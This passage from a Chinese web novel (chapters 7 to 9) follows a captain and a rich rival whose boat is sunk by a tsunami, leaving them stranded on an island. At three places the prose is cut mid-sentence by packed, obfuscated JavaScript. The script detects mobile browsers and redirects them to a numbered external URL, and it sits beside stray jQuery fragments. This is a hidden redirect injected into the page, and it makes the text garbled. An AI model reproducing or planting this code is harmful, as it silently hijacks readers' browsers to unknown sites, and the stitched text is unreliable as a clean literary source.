他是这么打算的,找个合眼缘的男朋友,处的好就结婚,两人一起巡山、出海,平淡潇洒地过一辈子。 当然,他也愿意陪对方去做喜欢的事。 主要看性格和爱好合不合得来。 大嫂是行动派,骑着小电驴“嗖嗖”跑两圈。 半个小时候再次出现,手里多了一袋衣服。 “你大哥的西装,挺新的,你换上试试。”大嫂将袋子递给枭风,“第一次相亲,体面些是好的。” 枭风没有拒绝,返回卧室洗个澡,换了套灰色西装。 邻居大哥的身高和他差不多,衣服格外合身。 他坐在镜子前,剃掉下巴的胡须。 大嫂帮他剪头发,剪得很短,但不难看。 “挺帅的小伙,”大嫂打量镜中的年轻人,“就是平时不爱打扮。” 枭风好奇问:“今天就见吗?” “当然了!”大嫂高兴得好像自己儿子结婚,“那孩子正好来我家吃饭,你去看看,他对你印象深着呢。” “哦。”枭风低头,配合剪刀的攻势。 大嫂放下剪子,用小掸子扫他的脖子,“别不信,这事儿是他主动的,他爸让我来问你有没有这方面的意思。” “有意思,”枭风诚实的不像话,“先做朋友。” “你还想直接上炕啊,”大嫂揶揄他,“知道什么是炕吗?” 枭风失笑:“听说过,没见过。” 大嫂道:“你跟人家好好处,处好了哥和嫂子帮你张罗婚事。” 枭风望着镜中的自己,轻轻地“嗯”一声。 -- 距离中午饭还有段时间,嫂子先离开,枭风准备好见面礼再去。 他打开电视机,按照习惯调到新闻台。 恰在此时,王琦打通了他的电话,对方约他到港口公司见面,协商合作事宜。 他稍稍犹豫,看一眼身上的西装。 “不好意思,我这边有事,明天可以吗?” “什么?听不清..” 枭风只好走到屋外信号好的地方,重复一遍刚才的话。 偏偏就是这么会儿功夫,他错过一个无比重要的新闻。 电视机正在播报有关台风的新闻,前一天台风袭击了几百公里外的邻国,画面播到被台风肆虐的城市,配合着卫星图和云图。 绿国气象台预测,台风走势不会对本国造成严重危机,还是提醒广大民众做好预防措施。 枭风接完电话回来,电视画面跳到下一个新闻。 他关闭电视机,拎着送给村长的钓鱼工具走出家门。 冥冥中自有天意。 枭风走到T路口突然驻足,他站在道路中间,左边是通往大嫂家的路,右边是去往码头的路。 相亲还是去签合同,仿佛有两种截然不同的人生等待他的选择。 7. 第 7 章 引擎启动,‘逐日号’发出一声轰鸣。 小船顺风而行,优雅、轻松,一副如愿以偿的模样。 驾驶舱内,枭船长手握舵轮,专心致志地盯着海平面。 西装已不见,身上是平时出海穿的灰绿色套装。 他没有去相亲,这件事来日方长,他决定回馈王琦的邀请,先给一颗定心丸。 绿国在地图上的形状像细长的叶子,首府占了三分之二,枭风长大的海滨镇在边界的西北方向,而他要去的地方在东南海岸。 ‘逐日号’顺着海岸线绕了一大圈,进入解封海域。 枭风走出驾驶舱,隐约看见一艘巨大游轮泊在岸边,贸易公司的人在上面来回走动。 -- 男人突然爱臭美,不是恋爱就是要出轨! 这是王昕认出枭风后,脑子里自动形成的一句话。 孽缘来了挡也挡不住。 他俩在‘蓝鲸号’临时办公区碰面,海上乐园项目的参与人基本都在,枭风配合经理签协议,坐在一张桌子旁,像个小学生似的指哪签哪。 起初,枭风没有看见王昕,而王少爷愣是瞅好几眼才敢认人。 这家伙怎么突然变‘清爽’了,胡须消失,短发利落有型,衬得整张脸年轻好几岁。 邋遢老爷们摇身一变成精神小伙,这谁能顶得住。 不妙的信号! 王昕暗戳戳的腹诽,船上有个男子,打扮得光鲜亮丽专门来勾引妹妹。 还说没情况,男女之间的那点互动都对上了。 忽然,两个男人的视线相遇。 办公区对面设有独立办公间,项目领导人的地盘。 枭风一抬头就能看见王昕,好心情像气泡,一下子就刺破了。 王昕窝在宽大的转椅里,一只腿搭在扶手上,吊儿郎当的姿态,脸上浮现慵懒、醉人的色调,外加一点试探。 双方光是眼神交流就很焦灼,若是搭上话不知道会发生什么。 好在有人来解围,王琦找到枭风,向他介绍几位外聘专家。 “枭船长,合作愉快。”王琦握住枭风的手,庄重的语气仿佛在接待皇室成员。 “他也在吗?”枭风毫无预兆地指向对面的办公室。 王昕发现他们在瞅自己,立马挺直腰板。 王琦张了张嘴:“嗯是..我哥是项目总负责人。” “.....”枭风想拿回自己的协议。 妹妹赶紧拉着他离开,边走边说:“留下来吃午饭,餐厅改成了员工食堂,伙食不错哦。” 枭风脸上闪过一丝犹豫。 王琦开玩笑道:“你现在是我的人了,我带你去拿出入证,顺便录入船舶编号,接下来的半个月,你的船可以随意进出。” 走完这些流程,两人来到游轮的餐厅。 本想聊聊工作细节,奈何王琦太忙,总有人找她问这问那,她带着枭风打完饭就不见人影,只留枭风独自在角落里吃东西。 枭风食量中等,一碗汤,一碗主食,主菜和小菜分别来一些。 他吃饭速度快,不狼狈,也没有声音。 旁边坐着一对情侣,有说有笑的聊八卦,时不时地瞅他一眼。 餐厅里掀起一阵小骚乱,有人叫声“王总”。 枭风抬眸,看见一群人簇拥一个男人走进来。 “说过多少次了,我不是什么总。” 王昕径直往前,拉开一把椅子坐下,五米开外就是枭风。 很好,低头不见抬头见。 枭风面不改色,用餐勺搅拌鲍鱼汁洒在主食上,一口一口地吃下去。 等他消灭掉米饭,发现王昕还在观察他。 他不禁想起儿时经历,怀疑这位少爷又把他当贼了。 “王昕真帅..”旁边的情侣开启夸夸模式,“性感,身材好,没有养尊处优的奶油气,我就喜欢这种类型的。” 男的说:“大大咧咧的,跟他爸不一样。” 女的补充:“他爸挺严厉的。” 闲聊结束,情侣端着餐盘离开了。 王琦忙完回来,坐在情侣空出的位置,“老同学,合同看了吗?” 枭风道:“看过了。” 要求挺多,他是特聘顾问,‘逐日号’要听从项目部调遣,不过两周拿到12.6万酬劳,划得来。 “我签了字,就会尽心尽力,”他向王琦保证,“有需要随叫随到,你想出海做调研,我陪你。” 王琦心里暖烘烘:“太好了,合作愉快!” “谢谢你信任我。” “客气。” 两人握手,友谊更上一层楼。 如此清白的画面,在王昕看来暧昧的要命。 玛德!竟然上手了。 王昕倏地起身,直直地朝前走,越来越近。 恰好撞见妹妹问枭风:“你今天捯饬过了,有对象吗?” 枭风说:“没有,你呢?” “刚分手。” “恭喜。” “我哥也单身。” “属于为社会做贡献了。” “......” 上述对话一字不落地传到王昕耳朵里,气得他耳尖冒火。 “咳..”压抑的咳嗽声打断谈话。 王琦看见哥哥来了,眼睛瞬亮,赶忙安排座位:“哥,快坐。” 王昕坐在对面,正合妹妹心意。 这个角度磕CP很幸福~ 王琦在心里偷偷地笑,表面不露声色:“不需要我介绍了,两位打个招呼吧,别像上次一样,鼻子不是鼻子,眼睛不是眼睛。” 枭风挪开餐盘,拿起水杯喝一口,目光平静无澜。 王昕盯住他干净利索的下颌线。 互相凝视片刻,僵持的氛围弥漫开。 王琦带点催促的口吻:“哥?” 王昕不情愿地出声:“枭船长,认得我是谁吗?” 枭风轻微点头:“有印象。” “......”王昕差点气笑了,暗暗做两个深呼吸。 “你叫...王日斤。”枭风故意说错,表情却一本正经。 王昕一拍桌子:“王昕,昕!” 枭风淡淡道:“哦。” 王昕指着他的鼻子质问:“你在挑衅?” 枭风的黑眸迅速凝聚一团乌云:“别用你的爪子指着我。” “你说什么?”王昕猛地起身,顺便撸起衬衫袖子。 枭风也站起来,视线慢慢持平,甚至高出几公分。 两人颇有默契地远离桌子,来到一个没有障碍物的空地。 一时间,不少吃瓜群众朝这边看来。 “嗳嗳,行啦行啦。”王琦挡在他们中间,受不了的自言自语,“你俩不合适,我错了,不能硬磕,硬磕会死人的。” “你别碰他。”王昕拉过妹妹的胳膊,恶意十足地嘲讽:“不怕脏了你的手。” 王琦满眼为难:“哥,别这么讲话。” 王昕将妹妹拉到身旁,凌厉的目光直逼枭风:“你出来,我跟你单独聊。” “有什么话可以在这里说啊。”王琦对哥哥疯狂使眼色。 “放心,叙旧而已,打架是小孩子玩的游戏,”王昕的嘴角牵出一抹笑,“对吧,枭船长?” 枭风皱眉不语,迈开步子,率先走了出去。 王昕的俊脸一秒耷拉,刚要跟过去,衣服被妹妹拽住。 他以为王琦会叮嘱他不要动手,想不到对方压低声说:“刚才问过了,他单身。” “?”王昕的眉头皱成一个川字。 他严厉警告:“你死了这条心,他不配。” 王琦笑道:“帮你问的。” 王昕急着去谈判,根本没时间分析话里的意思,他敷衍地搪塞妹妹,加快步伐追出去,生怕枭风跑没影。 五分钟后,他在码头找到枭风。 枭风正在擦‘逐日号’的挡风玻璃,看见来人只是稍稍停顿便继续干活。 王昕打量男人的身影,冷漠的目光与记忆中重合,他又联想到出国前一晚,枭风把他拖进小树林... 那种挫败感钉在耻辱柱上,可以铭记一生。 这么多年,无数个失眠夜,承载了多少悔恨和不甘。 胡思乱想之际,王昕下到逐日号的甲板,一只脚刚落地,瀑布般的水流涌过来,没过鞋子打湿了裤脚。 他不可置信地抬起头,看见枭风拎着水桶冲刷甲板,根本没把他当人。 枭风停止动作,声音不冷不热:“有事吗?” 王昕说:“有,现在出海。” 枭风睨着他,没动。 “愣着干什么?”王昕的表情阴情难测,“签合同的时候不看看负责人是谁吗?按照条例,你的船归我调遣,我要你启动引擎马上出发。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612298|172177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你有话,可以在这里说清楚。” “不好意思,我看见大海心胸才能变得宽阔。” 主要是怕王琦打扰,有些话要找个没人的地方。 王昕需要时间酝酿台词,势必要把枭风的尊严踩在脚底下,就像当初他把他压在身底下动弹不得。 看在12.6万的份上,枭风打算接招。 “你最好进来,把你甩飞出去我不负责。” 撂下这番话,枭风回到驾驶舱。 王昕紧跟其后。 ... 天气晦暗,强风吹动蔚蓝水面,泛起层层水花。 陆地慢慢消失在身后,年轻船长在掌舵,他的临时老板在船的另一端,不停地发号施令。 “继续向前,除非我喊停。” 王昕睁大慵懒的双眼,欣赏入目所及的风景。 最开始还能看见公司的船,渐渐地,视野里只剩下广袤无垠的大海。 他后悔没带手绘屏,错过了即兴创作的灵感,他习惯走到哪画到哪,碰到新鲜的人和事会用这种方式记录,然后改编成完成的故事放在专栏连载。 他有一个叫“Cloud”的笔名,这个笔名对他意义重大,完全脱离了原本身份。 忽然,机器的轰鸣声慢慢消失了。 枭风关掉引擎,让小船在风力的作用下缓慢前进。 “怎么停了?”王昕不作妖的时候,表达茫然的态度还是挺讨喜的。 实际上,王昕的外表万里挑一,高个子,身材提拔,肌肤散发健康的光泽,他的五官标致,眼窝微深,嘴唇形状性感,有着古典美男的气质。 可惜,一张嘴就露馅.. 枭风发出最后通牒:“天气不好,起风了,我们已经航行近两个小时,周围一只海鸥都没有,说明离陆地有段距离,不能再往前了。” 王昕疑惑地挑眉:“不是有导航吗?” “导航不是完全准确,大海每时每刻都在变化,比如海床抬高了,破坏砂坝会将岩石弄得到处都是,如果撞上一块,这艘船会四分五裂。” 不等王昕发表意见,枭风态度强硬道:“你有什么话,就在这里讲。” 王昕垂了垂肩,站起身说:“跟我来。” 画面一转。 两人来到甲板上,周围全是风声和湍急的海浪声。 王昕深吸口气,感叹自己要上演一出狗血戏码。 “到底怎么做,你才能离开我妹妹。”他边说边回头,期待枭风的反应。 枭风没反应,面无表情地睨着他。 “OK,”王昕无奈地摊手,“我给你五十万,合同作废,以后不准见我妹妹。” 枭风的眼神一点点变沉:“你在说什么。” 王昕笑了:“跟我装糊涂,你这种人我见多了,我姑姑就是典型的受害者,现在还在医院躺着呢。” 枭风冷脸蹙眉,像传闻中那样沉默又深不可测。 王昕加了筹码:“一百万?” 枭风思考片刻,终于开口:“你的意思是,为了不让我拿到12万,要给我100万?” 王昕迟疑地点头:“你要是这么理解,也没错。” 枭风又沉默了,只是看人的眼神有变。 王昕觉得他在看白痴,烦躁地捋了捋头发:“说吧,你是怎么想的。” 枭风发出同情的声音:“我认为你病了,应该去看医生。” “你才病了,”王昕双手抱胸,“都是成年人,谈钱不丢人,如果一百万满足不了你,还可以商量。” 海风越吹越猛,甚至夹杂着雨点。 王昕根本没注意到周围的变化,还在蓄力输出:“只要你远离琦琦,以前的事儿可以当做没发生,当然了,你想算旧账我奉陪,别把琦琦牵扯进来就行。” 枭风没有在意王昕的叽叽喳喳,他看眼天空,云层又低又厚,以肉眼可见的速度移动着,他意识到要出大问题了。 大海慢慢变成一个黑色的恶魔,骤然间,一切都变黑了,海浪的咆哮带着冷漠的毁灭力量。 “你有没有听见我...”王昕的话戛然而止。 因为他看不清枭风的脸了。 巨大的凉意袭来,携带着从未体会的压迫感。 王昕以蜗牛般缓慢的速度回头,眼前景象让他脖子上的汗毛都立了起来。 百丈高的水墙裹着雷霆万钧之势压来,仿佛要将整个世界吞没。 8. 第 8 章 他们遭遇了海啸! 枭风立时做出判断,并以最快的速度回到驾驶舱。 这类型的海啸就像大自然的手轻轻波动水花一样,对沿海城市造不成多大威胁,对‘逐日号’这艘小船却有着致命的破坏力。 它没着没落,就像浴缸里的玩具。 每每在危机时刻,枭风都能保持镇定,他重新掌舵,试图把小船驶出海浪翻滚的范围,可惜引擎与巨浪之间的力量太过悬殊,船上的VHF和GMDSS同时失去作用。 当然,枭风没忘记船上还有一个人。 “王昕!”他抽空扫一眼,看见对方傻傻地发呆。 第一次经历海难,碰到如此壮观的场景,一般人都是王昕这种反应。 船长的两声呼唤叫回王昕的理智,脑子突然清晰了,在海浪压过来的瞬间转身往回跑。 但为时已晚,他感到脚下的甲板猛然下倾,一面与他身高持平的水墙朝他扑过来,瞬间把他扑翻。 “抓住支索!”枭风大声提醒,两只手紧紧握住舵轮,尽最大努力拿回掌握权。 王昕头脑一片混乱,心想:什么是‘止损’啊? 他说不出话来,只能随手抓住什么东西保命。 幸运的是,他抱紧了前桅支索。 不幸的是,他只坚持三秒,被倒灌的海水再次扑倒。 比较幸运的是,他一路下滑的方向是驾驶舱。 比较不幸的是,翻滚过程中他撞到了肋骨,疼得他大叫一声。 经过海水戏耍般的折腾,王昕连滚带爬地进入舱室。 整体情况并未转好,小船的力量无法与大自然抗衡,它不再前进,船体往一侧倾斜,水面直逼左舷,船身的三分之一已经沉入水中。 船舱里传来了东西掉落和碎裂的声音,海水不断接近驾驶舱的边缘。 千钧一发之际,枭风已经做出决定。 抛弃船舶是每一位船长的痛中之痛,何况是倾家荡产换来的新船,但他不得不这样做。 海浪倒灌会让小船沉入大海,而最恐怖的莫过于撞上暗礁,那样他们连一点反应的时间都没有,怎么死的都不知道。 在‘逐日号’被打翻之前,枭风的常识告诉他,还有几分钟自救的时间。 他的眼睛盯上船尾系着的救生圈,接着,他就跳到水面没过膝盖的舱室,踩在柜门上解开绳结。 拿到救生圈时,左舷已经和海面平行,海水大量涌入,船下沉的速度加快。 枭风抱着救生圈爬回驾驶舱,想到救生筏的位置,他将脸潜到水面之下,摸索着前进。 “枭风..”有人在叫他的名字。 “枭风!枭船长!” 声音越来越高,也越来越慌。 枭风上半身浮出水面,朝着声音的方向游去。 王昕挣扎着坐起来,浑身狼狈不堪,脸上写的全是疼痛:“你在哪啊..” “穿上。”枭风从后面出现,递来一件救生衣。 “我..我其实..”王昕手忙脚乱地往身上套,嘴里不停地嘀咕,“枭风,你别走,我以为你被卷到海里去了。” 枭风思索着如何逃出生天,恐慌没用,他要做的是掌控局面。 他有泰山崩于前而面不改色的本领,不管遇到什么情况,他都会冷静分析,需要什么,然后付诸行动。 需要救生筏,它会自动摊平,漂在水面。 留给他们的时间不多了。 枭风刚要潜入水里,腰上突然多出两只手,他眼里闪过一丝怒气:“你干什么。” 王昕把他当救命稻草紧紧抱住,惨白冰冷的脸颊贴在他的胸口:“我问你..” 系着救生筏的卡扣在船的另一边,现在已经被海水淹没。 枭风改变策略,揽住王昕的肩膀向舱外游去。 过程中,他没闲着,将救生圈套在王昕身上。 王昕的话还没说完,抢着要说遗言:“枭风,到底怎么回事,我有些话咳咳...还想对你...” “你到底想说什么!”枭风厉声呵斥,但握着王昕的手并没有松力。 “我..”王昕对上他的黑眸,努力镇定了一下,“我水性不好,你别丢下我。” “......” 枭风冷着脸,不再浪费力气讲话,他将另一个救生圈抛到水面,然后拉着王昕逃出驾驶舱,在第二波攻势来之前跳入水中。 水流在耳边呼啸,水压挤着肺部,他们被笼罩在一团朦胧气泡中。 “枭..”王昕被救生圈拖回海面,脑袋转半圈,在汹涌的水流中并没有看见另一个男人的身影。 完蛋了! 死亡的恐惧瞬间将王昕吞没,他勉强睁开眼睛喊道:“枭风!枭..” 然而下一刻,枭风就出现在他面前。 枭风可没工夫听他发表感言,拽住救生圈边角的扶手绳子,迅速解开然后,熟练又利索地将两个救生圈的绳子打死结。 这样,两个救生圈绑在一起,可以承受下一波海浪的攻势,避免两人分离。 枭风抓住救生圈的扶手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612299|172177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次下潜,海水中的盐分使他的双眼感到灼烧,但他没有放弃。 一片混沌中,他看见自己的‘逐日号’缓缓沉没,保持垂直方向的角度坠入深渊,最后连桅杆顶部也消失在视野里,他的心底涌起无比复杂的情感,像是丢失了故乡,又像被迫放弃自己的战友。 他是船长,弃船是他的决定。 确定没有挽回的余地,他重新浮出水面,大口喘着气。 王昕一直攥紧他的衣服,生怕他无缘无故的消失。 “保持冷静,别抓着我,”枭风的声音异常清晰而沉稳,“抓紧救生圈,不管发生什么都别松手,会有第二波海浪,你记住,如果救生圈破了,你要找到其他漂浮物紧紧抱住。” 王昕不知所措地点头,感觉眼睛湿润,不知道是海水还是泪水,他的视线模糊,隐约看得见枭风的鼻梁和下巴,心脏像被冰锥刺穿,又冷又疼。 “完了,”他口齿不清地输出负能量,“枭..一起死吧,下地狱好歹有个伴..” “这些话对现在的处境毫无作用。”枭风的脸颊透着坚毅,时刻准备迎战。 王昕脑子里都是黑暗的东西,一个来自天堂的声音反复提醒他:要死了,他们要死了,大好年华... “枭风!我问你,”王昕使出最后的力气喊,害怕以后都没机会了,“你恨我吗?我以前对你那么坏,我走之前的那天晚上,你是不是想弄死我!” 哦!他还知道自己坏啊。 枭风不太想回答这个问题,不过第二波海浪已经朝这边翻滚,或许是生命的最后一刻,他决定给予回应:“我不恨你,我只是...” “什么?”王昕的胳膊划着水面,努力接受信息。 “很烦你!” “.....” 王昕欲哭无泪,大声回道:“我也是!” 话是这样说,当第二波海啸袭来时,两个人紧紧抓住彼此。 枭风固定住王昕的救生圈,反复强调对方别抓着他,而是抓紧救生圈。 王昕不听话,只顾摇头:“你烦我又怎么样,老天爷都看不下去..唔..偏偏..咳让你跟我死一起..” 浪峰雄起! 如千军万马奔腾而来,混合着死亡泡沫。 王昕只觉有把巨锤向他砸来,瞬间失去意识,连一丁点的反应时间都不给他。 枭风系住救生圈的绳结,奈何海浪攻势太猛,他俩在水里像空中飘散的落叶,任凭海水托起又下落。 最终,绳结断开,世界只剩下轰鸣与混沌。 9. 第 9 章 天亮了,橙子般的太阳从海平面缓缓升起。 海水悄然退去,露出一片海滩,除了海藻和背甲,沙上多了两个罕见生物。 属于人的脚印开始蔓延,从西到东,朝着日出方向前进。 这片沙滩很长,枭风走了足足二十分钟才在海滩另一角找到王昕,而原本湿透的衣服也被阳光炙烤干。 一块岩石上挂着坏掉的救生衣,使用救生衣的人就在不远处躺着。 见状,枭风在心里松口气。 救生衣可能起到关键作用,它护住了昏迷的人。 此时此刻,王昕依旧处于溺水状态,像破布娃娃似的被海水戏耍,随着水来退去,颀长的身体也跟着来回游荡。 枭风心想,若是自己晚来几个小时,这位少爷肯定被水流冲到别的地方。 他走到岩石下方,拽住王昕的肩膀,把人拖到干沙地,然后跪在旁边,解开王昕的衬衣扣子,双手交叠放在对方胸外,开始有节奏的按压。 几下之后,他低头,捏住王昕的鼻子,嘴唇完全包覆那两片唇瓣,缓慢地吹气,察觉对方胸部微微隆起,他心里燃起几分希望。 人工呼吸加上心肺复苏,反复数次后,王昕终于把体内的水排出。 “咳咳..呕..”王昕边吐边咳,眼睛却没有睁开。 枭风仔细观察,拍了拍男人冰冷的脸颊:“王昕,王日斤..” 王昕咳完水后就没了反应,只有长而浓密的睫毛轻轻颤动两下。 枭风疑惑皱眉,弯下腰,捏住对方的鼻孔,嘴唇贴上去。 他刚要往里送气,下唇突然被咬一口,他愣住,快速抬起头。 王昕还是那副要死不活的样子,身体一动未动。 枭风以为自己出现幻觉,重新低头,当他的嘴唇又一次覆盖王昕的嘴唇时,对方张开嘴,切切实实咬住他的下唇。 与此同时,王昕掀起眼帘,瞳孔浮着一层雾气。 在混沌的黑暗中,人是没有时间概念的。 王昕根本不知道发生了什么,意识被梦境占据,有时来找他的是噩梦,有时是....美梦。 他梦到自己回到校园,跟队友一起打棒球,打着打着,他感到四肢疲乏,最后瘫坐在地,有人递给他水,他喝了两口差点窒息,赶忙吐出来。 这种感觉让他舒服不少,抬眼望去,一个长相俊美的亚裔男孩向他走来,正是他喜欢的类型。 他捧住男孩的脸,闭着眼睛吻上去。 唇上的触感美妙无比,他沉醉其中,再睁眼后... 俊美男孩消失,变成了另一张脸。 美梦破碎。 “啪”一声! 王昕条件反射地伸出手,朝上方胡乱扇一巴掌,不偏不倚地打中枭风的门面。 枭风不带一点犹豫,反手回了一巴掌。 又是”啪“一声,比刚才那声清脆许多。 似曾相识的一幕。 互扇彼此一个耳光后,两个男人纷纷后退,以极快的速度拉开距离。 王昕踉跄起身,不可思议地瞪着枭风,脑子里还在回味刚才的‘恐怖经历’,他亲的明明是漂亮男孩,怎么一睁眼变成了最不待见的人。 “你干..” 一张嘴说话,王昕立马察觉出异样,鼻孔和嗓子特别难受,像是被砂砾磨过似的。 等等!这是什么鬼地方! 王昕昏昏沉沉地搜索着记忆。 百丈高的水墙砸下来,他们被迫弃船逃生,枭风在波澜起伏的浪花间系着救生圈的绳结,那双手有条不紊,透着坚毅... 愣在原地两分钟,王昕终于记起一切,脸色从惨白变成愠红,眼神由羞耻转为愤怒。 他直直地奔向枭风,揪住男人的衣领,哑着嗓门质问:“这是哪里!” 枭风能理解他的反应,显然是吓坏了,类似动物应激,可不打算承受他的坏情绪。 自从被他咬了嘴唇,枭风紧皱的眉头就没舒展,毫不客气地推开:“不知道。” 这是实话,弃船到现在,不知过去了多长时间。 枭风眺望海平面,看一眼太阳,猜测地理位置。 他们失去意识许久,最起码有十个小时,这期间,海浪把他们带到了这座岛屿。 “你是船长,你怎么能不知道呢。”王昕扯过男人的手臂,焦急的语气难掩慌张,“附近哪里有信号,我们要想办法联系救援队,说不定他们正在找..” 显然,王昕还没有意识到事情的严重性。 他认为‘逐日号’并没有远航,一直在海岸线附近飘荡,就算遭遇海难处境也没那么糟。他研究过地理知识,知道绿国周边有很多小岛,有些岛屿被有钱人买下做项目开发,说不定他们就在其中一座岛上。 可枭风心里清楚,他按照王昕的要求开出去几十海里,又遇到海啸,没可能那么幸运。 他开始观察附近地形,半天没讲话。 王昕急了,闪身来到他眼前:“你到底有没有在听。” “没有,”枭风声音冷得掉冰渣,“你最好闭嘴,不然我把你丢回海里,让你靠两条腿游回绿国。” 王昕眼神微颤,有那么一秒被震慑住。 “我们首先要做的,是想办法解决自身问题,然后再考虑救援的事。” 说罢,枭风转身朝西走去,求生的本能在呼唤他,提醒他现在不是吵架斗殴的好时机。 他顺着来时的路返回,记得自己醒来的位置,那处有沙滩和茂密的灌木林,还有高耸的岩石。 每走一步,他都会仔细留意周围的景象。 沙滩外约20米处是树丛,有一半沙滩光滑潮湿,另一半干燥,交界处有死了的海藻和木块,枭风判断出水位线,并证实了一个悲观的猜测。 他们离有人居住的陆地很远,因为退潮留下的杂物中看不见人类常用的垃圾。 作为一名训练有素的船长,枭风的成长过程中有一半时间在航行,另一半时间在森林徒步,所以并不担心能不能活下去的问题,而是思考着整件事情的走向。 现在他有时间分析,意外是如何发生的。 凭借多年的航海经验,还有对绿国气象的了解,他认为是暴风天气引发的小型海啸,几波巨浪在海上玩耍,偏偏碰上他们的船。 “枭风!” 啪嗒啪嗒啪嗒... 稀碎的脚步声从身后传来。 “你去哪里,”王昕明显降低了声调,甚至带点沮丧,“你知道时间过去多久吗?我怎么感觉好长时间,琦琦联系不上我们,肯定会出来找,你说他们能找到沉船吗?” 不能。 枭风在心里回答,那艘漂亮的船将会永远在海底待着。 王昕按住依旧不适的胸腔说:“我们要想办法联系琦琦,你身上有没有电子设备之类的东西,兴许还能用...” “我后悔了。”枭风冷不丁回头。 王昕微怔:“后悔什么?” 枭风薄唇吐出无情的话:“后悔刚才救你。” “.....”王昕瞪圆了眼睛。 枭风继续往前走,能派上用场的材料他都捡起来,例如干燥的树枝和结实的木头。 王昕无法理解他的行为,怎么做到跟没事人一样不骄不躁。 此时的他们不应该大声呼喊或嚎啕大哭吗? “枭风,到底是怎么回事。” 一个人想脱离恐惧,总是要抓住某种事物,某种声音或某个人。 王昕现在只想抓住枭风,哪怕是打架也奉陪。 他跟着枭风漫无目的地走,思绪极为混乱,一会儿为自己的遭遇感到痛苦,一会儿又庆幸自己大难不死。 枭风在一片沙滩驻足,将捡来的树枝堆在一起,回句:“你还有脸问。” 王昕本就一肚子火,听了这话直接炸毛:“我怎么没脸了!这件事你要负责,你是船长,技术不精还敢甩锅。” 枭风的脸阴沉下来,很后悔搭话。 他说一句,王昕回十句。 叽叽喳喳的比鹦鹉还吵! 他懒得去争辩,搭好树枝后,开始打量自己身上的行头,灰绿色的套装几乎完好,得亏料子结实。 除此之外,平日里有几件随身携带的东西,打火石、防水袋以及军用刀,其中两件是父亲传给他的,幸运的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612300|172177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只有这两件最重要的东西留了下来。 他的手探到腰间,取出匕首,嘴角牵出一抹弧度。 沦落荒岛了还有心情笑? 王昕觉得他脑子有问题:“你到底在想什么,难道你不该给我一个解释吗?莫名其妙漂到这种地方,你真的不担心后果?” 枭风轻瞥一眼,不语,转身朝灌木林走去。 “喂!你去哪里,”王昕紧跟其后,“你这人太闷了,不知道的还以为你耳朵聋。” 枭风自顾自地前进,本能地施展生存技巧,用刚刚捡来的结实木棍,不停地扫荡地面。 很快,他走到崖壁下,注意到这里有一条颜色较深的痕迹。 醒来到现在就没闲着,光是给少爷做人工呼吸就浪费不少力气,身体素质再强也禁不住这么折腾。 枭风急需补充能量,他走上前,在岩石表面找到向下流淌的水流。 晨光洒下,细细的水流闪烁着比钻石还珍贵的光芒。 他将嘴唇贴在潮湿的岩石上,让水顺着石头表面流到嘴里。 滋味干涩陈腐,不好喝,但的确是淡水。 片刻后,枭风直起腰。 水流滋润了他的喉咙,缓解了干渴引起的不适。 他一转身,迎上王昕怪异的视线。 “这是什么,”王昕尽量稳住颤抖的声线,“不会让我喝这种水吧。” 枭风默然凝眸,半晌后才道:“无所谓,总有人是蠢死的。” 王昕的怒火一触即发,同时舔了舔干涩的唇:“你搞清楚,你是我的员工,我花钱雇你不是来找骂的,现在我要你找干净的淡水给我喝。” 枭风理都不理,视线在林子里转一圈,很快有了新目标。 他拾起木棍扫着地面,找准方向前行。 王昕着急地左右看看,来不及去纠结,赶忙走到岩石边缘,学着枭风刚才的样子喝水。 水流缓解了他焦虑的情绪,虽然不太解渴,但补充些水分。 他想要更多,又怕枭风走远,两难之下他的脚踩空,从石头滑下来一屁股坐在地上。 “啊呦!”王昕被颠的擦牙咧嘴,下意识看向前方。 不远处,枭风果然停住步子。 王昕竟然感到一丝安慰,赶紧爬起来,并使用激将语言:“你等等...你是一个不负责的船长,竟然丢下船员,我就说那些好评都是花钱买的,琦琦还不信。” 枭风的步伐稍稍放慢,可不是为了迎合王昕,而是想把要说的话清晰传达:“你不是我的船员,因为你只会发号施令而不听从船长指挥,导致我们遇到海啸。另外,我受雇港口公司,工作内容是探索海岸线,而我们的所在地超出协议范围,所以你既不是船员也不是合作伙伴,我没必要对你负责。” 这大概是他们重逢以来,枭风说过最长的一段话。 王昕傻眼了,顾不得酸痛的四肢,他赶忙追上枭风,语气中既有质问也有忐忑:“你什么意思,是不是想趁机报复,刚才的话你有种再说一遍。” 枭风耐心告罄,回身就推了一把:“你以为你是谁,可以对我颐指气使。” “我..”王昕的屁股第二次着地,可身体的疼痛比不上内心的压抑,“你干了什么,混蛋!竟然对我动手。” 